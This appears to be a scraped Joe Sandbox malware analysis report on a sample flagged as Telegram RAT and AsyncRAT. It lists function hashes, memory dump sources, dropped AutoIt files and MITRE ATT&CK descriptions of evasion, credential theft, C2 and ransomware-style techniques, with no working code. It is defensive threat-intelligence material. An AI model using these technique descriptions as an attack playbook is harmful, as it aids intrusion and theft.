Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38b3ffd61c84c85c7ba918bebaa31595ad07f2d9f30fb694293504a268b018d3
Instruction ID: bf6400b3316cc9df3971213280c8977eb3efdfb34174b351a6599a68e3acca34
Opcode Fuzzy Hash: 38b3ffd61c84c85c7ba918bebaa31595ad07f2d9f30fb694293504a268b018d3
Instruction Fuzzy Hash: AFE08C313001005F83449A2EA88485AB7DEEFC812531544BAE10DC7321CD60DC028390

Function 00C97453 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae2a26e2ee6521e566e5873f997e037d5c61f5d2625874d0969d45bb250b0802
Instruction ID: d3edc0c2f84af2a23d471b35b2b58b33455b1dc73ef9146faea8f2bb3977970d
Opcode Fuzzy Hash: ae2a26e2ee6521e566e5873f997e037d5c61f5d2625874d0969d45bb250b0802
Instruction Fuzzy Hash: B5E02C203104208BCB026268A42866E778B8BC8A9C70041AADC09C3789EFA18E038BC6

Function 00C92EE8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a319c08227f7c208ca025fdbf890f122d81ddef6a07c52b316f18c5a85cfb43
Instruction ID: 32c8635242fcbccaf3d2c7b362b67ec61d096ac732d737432bb1a0f0e450a9ea
Opcode Fuzzy Hash: 5a319c08227f7c208ca025fdbf890f122d81ddef6a07c52b316f18c5a85cfb43
Instruction Fuzzy Hash: 55D05E70A0110CEFCB40EFB9E9056ADB7FAEB44300B2045E9E808D7301EE316F04AB81

Function 00C92EE3 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c83a0db740ee2cb37f43c1bc3ac8ef1d4078b9cecc91888477f8f231bfb65970
Instruction ID: fe856f84706929ec72bf140e1cc02ee9915f2b6311f9a73418d5afa3cb8ea511
Opcode Fuzzy Hash: c83a0db740ee2cb37f43c1bc3ac8ef1d4078b9cecc91888477f8f231bfb65970
Instruction Fuzzy Hash: 36E0EC74901149EFCB40EF64D9459ADB7F6EB8430472045EAE408D7201DB311E15DB81

Function 00C980CC Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1217e9c27efd54049c67da140dc2c9b6997c410c9b43d72be71027fc7950cb63
Instruction ID: 6b78f1a648cd8c440bedb6c19a1b4b9852e7497f753cbd7ad27288a35915149c
Opcode Fuzzy Hash: 1217e9c27efd54049c67da140dc2c9b6997c410c9b43d72be71027fc7950cb63
Instruction Fuzzy Hash: 01D0A730B40156CBCB00D6A8E02859D7732F784354F208490DC19D7340DF344D1687C2

Function 00C975CE Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ee03c40e076b78a177fc331ebab49ab3ad54b66591ce2f0336900c2eb69b3a6
Instruction ID: 43a8f374f0312a57a45947b8c27dfe2e24c54cc84b0da174cb0787cc0a1d79d0
Opcode Fuzzy Hash: 9ee03c40e076b78a177fc331ebab49ab3ad54b66591ce2f0336900c2eb69b3a6
Instruction Fuzzy Hash: 96C012342106498BC604FB58E89C9643352F7C0340300099CDC158B168EE61DC10CB93

Function 00C90AD5 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bec88abd7cfb6ebc728fd29dd32ff376ea2c43b42366a81e4ecde35afdcd943
Instruction ID: 0c23d938e9c1b83e88d4f39686772c6cf032e273a1d9abb8dbd32828274f2a64
Opcode Fuzzy Hash: 2bec88abd7cfb6ebc728fd29dd32ff376ea2c43b42366a81e4ecde35afdcd943
Instruction Fuzzy Hash: A7C04C70405355CEDB0467B5D90C3383B25DB90305F351455E9AB670A58F740A85F7E6

Function 00C90AB9 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6109d3965e21624d006a6eab0d1acc0db6128b04a271cb5dec99e11414b56d0b
Instruction ID: f4d54350446c7f55d5ba153d9a29f8851c691586b53156f7845192bdcf9bbeb2
Opcode Fuzzy Hash: 6109d3965e21624d006a6eab0d1acc0db6128b04a271cb5dec99e11414b56d0b
Instruction Fuzzy Hash: 10C08C30004349CEDB001374D80C3383B20D790300F300015E9AB130A18F340A81F7A2

Function 00C9892C Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9caf03dfcd3d5f18ac7fece40cdbfea44086c7b04661f8deaaec65baccc5251
Instruction ID: feb7552211423b386ff90fb04af30729565a1ac5eaf031cc3caf4bd7186351fb
Opcode Fuzzy Hash: d9caf03dfcd3d5f18ac7fece40cdbfea44086c7b04661f8deaaec65baccc5251
Instruction Fuzzy Hash: 05A002265E0A0843D65841849DC65D66759F5456903C90894C24846251E64C450B148A

Non-executed Functions

Function 05445D60 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37a80a25cc49725cc508aac068c694e68e1d26f92289e14473716938f3cd030e
Instruction ID: 1a7cb225ce5f3d388854d9e647e2c2761fa3cae4861ed08c742e2940d0ac6174
Opcode Fuzzy Hash: 37a80a25cc49725cc508aac068c694e68e1d26f92289e14473716938f3cd030e
Instruction Fuzzy Hash: E91284B04217458AD331CF65E95F98D3FA1BB8131CB988209E2652F3E1DFB8259ACF45

Function 0544C0F7 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf905ed6148cc9f2b7766e05c1d729f847e44ed00f9d850d06555538f231d1d8
Instruction ID: 02aa163f4d839eae5e12131ea478eb33db03f8905a7065870acd2024a6079435
Opcode Fuzzy Hash: cf905ed6148cc9f2b7766e05c1d729f847e44ed00f9d850d06555538f231d1d8
Instruction Fuzzy Hash: 07D10A31C10B5ACACB01EBA4D99469DB7B2FF95300F24CB9AE00977215EF70AAC5CB41

Function 0544C108 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfc9a0f4e7b7edcbe141bf2455a56576ac82a480bf537402f01b0658a05afa2c
Instruction ID: ee9a69a7931ba2bd06c60be60d49e0e8f4c1e40559cb0ab6f648696d1535e6e4
Opcode Fuzzy Hash: bfc9a0f4e7b7edcbe141bf2455a56576ac82a480bf537402f01b0658a05afa2c
Instruction Fuzzy Hash: 06D1EA31C10B5ACACB11EBA4D99469DB7B2FF95300F24CB9AE40977215EF70AAC5CB41

Function 0544C0D1 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea6aa74e4fd4f07b27a201a28aa2a8b827d4bdfa88381cdf1a65175a80a30e4d
Instruction ID: 72bd9b159cc395c25e331cf05a7bb55753dba51a5245190b4f75b58fb58a2a10
Opcode Fuzzy Hash: ea6aa74e4fd4f07b27a201a28aa2a8b827d4bdfa88381cdf1a65175a80a30e4d
Instruction Fuzzy Hash: 24D1EB31C10B5ACACB11EBA4D99469DB7B2FF95300F24C79AE4097B215EF70AAC5CB41

Function 00C95760 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51e15321a7b0e348365805af561905bd0fa6de948ca1b8b0ff6bad0d2fd365f7
Instruction ID: a2d0a41b3018605b86324fc887961b32cf68286d7f5f2354a0a820ee4014ce67
Opcode Fuzzy Hash: 51e15321a7b0e348365805af561905bd0fa6de948ca1b8b0ff6bad0d2fd365f7
Instruction Fuzzy Hash: 7D919270E10609DFDF11CFA9C9897EDBBF2AF88314F148129E415A7294EB349D46CB85

Function 05440600 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a84b8bc01f7474b6a9784e8a1a83aa6d12e94f79c7983e84b61d2269f0441087
Instruction ID: c98ca288bb6b9a5d4e1795f0a67cac39f697dba2780e7034de128647f24a46c1
Opcode Fuzzy Hash: a84b8bc01f7474b6a9784e8a1a83aa6d12e94f79c7983e84b61d2269f0441087
Instruction Fuzzy Hash: D4A15078A00209DFDB44EFA4D894AAE77B7FF88744F208498D40567398CF359D92DB91

Function 054405FD Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba13ad640e19fbbb6cc8751a5b581a85b7a9b40cdc7d43e51a1e59ffdfb315b8
Instruction ID: f193203c61457299104fe8e5ae4745cfb4407cfface68b4559c8638306116092
Opcode Fuzzy Hash: ba13ad640e19fbbb6cc8751a5b581a85b7a9b40cdc7d43e51a1e59ffdfb315b8
Instruction Fuzzy Hash: 3FA14E78A00209DFDB48EFA4D894AAE77B7FF88744F208498D40567398CF359D92DB91

Function 05445D52 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4484609126.0000000005440000.00000040.00000800.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5440000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d9083d7bc8c4cf122cf8b7369cf5a1dd9c2f92b4de829c8d4c10e8e11697047
Instruction ID: 282971a22330b6b878c6c2b29bf84e4181fa268983a3f7ad4d572b747cae781f
Opcode Fuzzy Hash: 3d9083d7bc8c4cf122cf8b7369cf5a1dd9c2f92b4de829c8d4c10e8e11697047
Instruction Fuzzy Hash: F1C1E4B08217498AD720CF64E85B58D7FB1BB8532CF588609E2612F2E1DFB4748ACF45

Function 00C99730 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2db8760b307dce8439ff54370497d63ad77d894fb32ef6a95f6085623696b60c
Instruction ID: 876631b523e2461ada1e7733a960c61e8aa5a03a01159ce7d27324dfc50ae493
Opcode Fuzzy Hash: 2db8760b307dce8439ff54370497d63ad77d894fb32ef6a95f6085623696b60c
Instruction Fuzzy Hash: 37411871A046858BD709CF6AED5432BBFE3ABC9304F19C1AAC41C8B675DF740606CB85

Function 00C99740 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0924075496d67ee2fa4dd83b55822ae425df88ae87a9ef08453d58c006984d7
Instruction ID: 8b9ddf1179fa9a8cd9eb6545501c59aed90487274eadfe32da60f636293bc7c0
Opcode Fuzzy Hash: e0924075496d67ee2fa4dd83b55822ae425df88ae87a9ef08453d58c006984d7
Instruction Fuzzy Hash: E031E471E046459BE709DF6BED0476BBBE3ABC9304F18C1A9C40C8B669EFB40645DB81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LisectAVT_2403002B_4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: AsyncRAT

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Au3Check.exe

C:\Program Files (x86)\AutoIt3\Au3Info.exe

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Windows Analysis Report
LisectAVT_2403002B_4.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
